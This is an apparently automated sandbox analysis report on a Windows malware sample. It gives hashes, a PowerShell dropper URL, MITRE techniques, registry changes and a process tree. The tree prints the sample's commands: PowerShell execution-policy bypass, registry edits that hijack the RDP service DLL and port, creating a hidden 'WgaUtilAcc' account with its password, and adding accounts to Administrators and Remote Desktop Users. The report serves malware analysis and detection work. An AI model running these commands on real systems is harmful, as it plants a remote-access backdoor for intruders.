fbf79b0e54a606ba74f107e39790bccf1fce6a4f9be65353f97b2a03b43c1c6f

Analysis

max time kernel
58s
max time network
106s
platform
windows10_x64
resource
win10v20201028
submitted
31/03/2021, 08:43

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General

Target

ec52461953bc8f522572c62a76db3299.exe
Size

6.0MB
MD5

ec52461953bc8f522572c62a76db3299
SHA1

6a9f72dca7ea4ca3489544b5f6bb54d214a20dec
SHA256

fbf79b0e54a606ba74f107e39790bccf1fce6a4f9be65353f97b2a03b43c1c6f
SHA512

6c2741a62c86526a1471d43d05d2e7cf6cf48d2653005010320144214eee5632a8e63eced1a82a3a6cba209ff5a1161a5864b49b3cdcb590ac5e2834ea53776d

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
17	2004	powershell.exe
19	2004	powershell.exe
20	2004	powershell.exe
21	2004	powershell.exe
23	2004	powershell.exe
25	2004	powershell.exe
27	2004	powershell.exe
29	2004	powershell.exe
31	2004	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001ab69-73.dat	upx
behavioral2/files/0x000200000001ab6d-74.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
5056	Process not Found
5056	Process not Found

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_kzjrq2lp.b4s.ps1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGICB97.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGICB96.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_pagcd4vn.bga.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGICB45.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGICB75.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGICB85.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4292	timeout.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1400 = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Icon = "inetcpl.cpl#001313"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache\16\52C64B7E	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4292	reg.exe

Runs net.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	21	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4228	powershell.exe
4228	powershell.exe
4228	powershell.exe
1804	powershell.exe
1804	powershell.exe
1804	powershell.exe
3332	powershell.exe
3332	powershell.exe
3332	powershell.exe
4500	powershell.exe
4500	powershell.exe
4500	powershell.exe
4228	powershell.exe
4228	powershell.exe
4228	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
620	Process not Found
620	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeIncreaseQuotaPrivilege	1804	powershell.exe
Token: SeSecurityPrivilege	1804	powershell.exe
Token: SeTakeOwnershipPrivilege	1804	powershell.exe
Token: SeLoadDriverPrivilege	1804	powershell.exe
Token: SeSystemProfilePrivilege	1804	powershell.exe
Token: SeSystemtimePrivilege	1804	powershell.exe
Token: SeProfSingleProcessPrivilege	1804	powershell.exe
Token: SeIncBasePriorityPrivilege	1804	powershell.exe
Token: SeCreatePagefilePrivilege	1804	powershell.exe
Token: SeBackupPrivilege	1804	powershell.exe
Token: SeRestorePrivilege	1804	powershell.exe
Token: SeShutdownPrivilege	1804	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeSystemEnvironmentPrivilege	1804	powershell.exe
Token: SeRemoteShutdownPrivilege	1804	powershell.exe
Token: SeUndockPrivilege	1804	powershell.exe
Token: SeManageVolumePrivilege	1804	powershell.exe
Token: 33	1804	powershell.exe
Token: 34	1804	powershell.exe
Token: 35	1804	powershell.exe
Token: 36	1804	powershell.exe
Token: SeDebugPrivilege	3332	powershell.exe
Token: SeIncreaseQuotaPrivilege	3332	powershell.exe
Token: SeSecurityPrivilege	3332	powershell.exe
Token: SeTakeOwnershipPrivilege	3332	powershell.exe
Token: SeLoadDriverPrivilege	3332	powershell.exe
Token: SeSystemProfilePrivilege	3332	powershell.exe
Token: SeSystemtimePrivilege	3332	powershell.exe
Token: SeProfSingleProcessPrivilege	3332	powershell.exe
Token: SeIncBasePriorityPrivilege	3332	powershell.exe
Token: SeCreatePagefilePrivilege	3332	powershell.exe
Token: SeBackupPrivilege	3332	powershell.exe
Token: SeRestorePrivilege	3332	powershell.exe
Token: SeShutdownPrivilege	3332	powershell.exe
Token: SeDebugPrivilege	3332	powershell.exe
Token: SeSystemEnvironmentPrivilege	3332	powershell.exe
Token: SeRemoteShutdownPrivilege	3332	powershell.exe
Token: SeUndockPrivilege	3332	powershell.exe
Token: SeManageVolumePrivilege	3332	powershell.exe
Token: 33	3332	powershell.exe
Token: 34	3332	powershell.exe
Token: 35	3332	powershell.exe
Token: 36	3332	powershell.exe
Token: SeDebugPrivilege	4500	powershell.exe
Token: SeIncreaseQuotaPrivilege	4500	powershell.exe
Token: SeSecurityPrivilege	4500	powershell.exe
Token: SeTakeOwnershipPrivilege	4500	powershell.exe
Token: SeLoadDriverPrivilege	4500	powershell.exe
Token: SeSystemProfilePrivilege	4500	powershell.exe
Token: SeSystemtimePrivilege	4500	powershell.exe
Token: SeProfSingleProcessPrivilege	4500	powershell.exe
Token: SeIncBasePriorityPrivilege	4500	powershell.exe
Token: SeCreatePagefilePrivilege	4500	powershell.exe
Token: SeBackupPrivilege	4500	powershell.exe
Token: SeRestorePrivilege	4500	powershell.exe
Token: SeShutdownPrivilege	4500	powershell.exe
Token: SeDebugPrivilege	4500	powershell.exe
Token: SeSystemEnvironmentPrivilege	4500	powershell.exe
Token: SeRemoteShutdownPrivilege	4500	powershell.exe
Token: SeUndockPrivilege	4500	powershell.exe
Token: SeManageVolumePrivilege	4500	powershell.exe
Token: 33	4500	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4768 wrote to memory of 4228	4768	ec52461953bc8f522572c62a76db3299.exe	77
PID 4768 wrote to memory of 4228	4768	ec52461953bc8f522572c62a76db3299.exe	77
PID 4228 wrote to memory of 908	4228	powershell.exe	80
PID 4228 wrote to memory of 908	4228	powershell.exe	80
PID 908 wrote to memory of 616	908	csc.exe	81
PID 908 wrote to memory of 616	908	csc.exe	81
PID 4228 wrote to memory of 1280	4228	powershell.exe	82
PID 4228 wrote to memory of 1280	4228	powershell.exe	82
PID 1280 wrote to memory of 1468	1280	csc.exe	83
PID 1280 wrote to memory of 1468	1280	csc.exe	83
PID 4228 wrote to memory of 1804	4228	powershell.exe	84
PID 4228 wrote to memory of 1804	4228	powershell.exe	84
PID 4228 wrote to memory of 3332	4228	powershell.exe	87
PID 4228 wrote to memory of 3332	4228	powershell.exe	87
PID 4228 wrote to memory of 4500	4228	powershell.exe	89
PID 4228 wrote to memory of 4500	4228	powershell.exe	89
PID 4228 wrote to memory of 2528	4228	powershell.exe	91
PID 4228 wrote to memory of 2528	4228	powershell.exe	91
PID 4228 wrote to memory of 4292	4228	powershell.exe	92
PID 4228 wrote to memory of 4292	4228	powershell.exe	92
PID 4228 wrote to memory of 4692	4228	powershell.exe	93
PID 4228 wrote to memory of 4692	4228	powershell.exe	93
PID 4228 wrote to memory of 200	4228	powershell.exe	94
PID 4228 wrote to memory of 200	4228	powershell.exe	94
PID 200 wrote to memory of 4476	200	net.exe	95
PID 200 wrote to memory of 4476	200	net.exe	95
PID 4228 wrote to memory of 4612	4228	powershell.exe	96
PID 4228 wrote to memory of 4612	4228	powershell.exe	96
PID 4612 wrote to memory of 1892	4612	cmd.exe	97
PID 4612 wrote to memory of 1892	4612	cmd.exe	97
PID 1892 wrote to memory of 2840	1892	cmd.exe	98
PID 1892 wrote to memory of 2840	1892	cmd.exe	98
PID 2840 wrote to memory of 3996	2840	net.exe	99
PID 2840 wrote to memory of 3996	2840	net.exe	99
PID 4228 wrote to memory of 2328	4228	powershell.exe	100
PID 4228 wrote to memory of 2328	4228	powershell.exe	100
PID 2328 wrote to memory of 1392	2328	cmd.exe	101
PID 2328 wrote to memory of 1392	2328	cmd.exe	101
PID 1392 wrote to memory of 1428	1392	cmd.exe	102
PID 1392 wrote to memory of 1428	1392	cmd.exe	102
PID 1428 wrote to memory of 1508	1428	net.exe	103
PID 1428 wrote to memory of 1508	1428	net.exe	103
PID 5112 wrote to memory of 3732	5112	cmd.exe	107
PID 5112 wrote to memory of 3732	5112	cmd.exe	107
PID 3732 wrote to memory of 4236	3732	net.exe	108
PID 3732 wrote to memory of 4236	3732	net.exe	108
PID 752 wrote to memory of 3464	752	cmd.exe	111
PID 752 wrote to memory of 3464	752	cmd.exe	111
PID 3464 wrote to memory of 3524	3464	net.exe	112
PID 3464 wrote to memory of 3524	3464	net.exe	112
PID 3468 wrote to memory of 508	3468	cmd.exe	115
PID 3468 wrote to memory of 508	3468	cmd.exe	115
PID 508 wrote to memory of 4216	508	net.exe	116
PID 508 wrote to memory of 4216	508	net.exe	116
PID 4224 wrote to memory of 8	4224	cmd.exe	119
PID 4224 wrote to memory of 8	4224	cmd.exe	119
PID 8 wrote to memory of 1064	8	net.exe	120
PID 8 wrote to memory of 1064	8	net.exe	120
PID 684 wrote to memory of 1512	684	cmd.exe	123
PID 684 wrote to memory of 1512	684	cmd.exe	123
PID 1512 wrote to memory of 1424	1512	net.exe	124
PID 1512 wrote to memory of 1424	1512	net.exe	124
PID 1608 wrote to memory of 4820	1608	cmd.exe	127
PID 1608 wrote to memory of 4820	1608	cmd.exe	127

C:\Users\Admin\AppData\Local\Temp\ec52461953bc8f522572c62a76db3299.exe
"C:\Users\Admin\AppData\Local\Temp\ec52461953bc8f522572c62a76db3299.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4228
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\puwooq3a\puwooq3a.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:908
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES84E5.tmp" "c:\Users\Admin\AppData\Local\Temp\puwooq3a\CSCD7F60768725E4FCFB628616B3006C4C.TMP"
      4⤵
      PID:616
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pplj2hz3\pplj2hz3.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1280
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES88DD.tmp" "c:\Users\Admin\AppData\Local\Temp\pplj2hz3\CSC25243DE194BB4C66A44CEDEB7E28C416.TMP"
      4⤵
      PID:1468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4500
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:2528
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:4292
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:4692
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:200
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:4476
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4612
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1892
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2840
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:3996
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2328
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1392
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1428
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1508
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:4640
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:4544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /C timeout -n t& del C:\Users\Admin\AppData\Local\Temp\ec52461953bc8f522572c62a76db3299.exe
  2⤵
  PID:2524
- - C:\Windows\system32\timeout.exe
    timeout -n t
    3⤵
    - Delays execution with timeout.exe
    PID:4292

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:5112
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:4236

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc LrDRwwkb /add
1⤵
- Suspicious use of WriteProcessMemory
PID:752
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc LrDRwwkb /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3464
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc LrDRwwkb /add
    3⤵
    PID:3524

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3468
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:508
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:4216

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4224
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:8
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EWYCRADZ$ /ADD
    3⤵
    PID:1064

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:684
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\system32\net1.exe
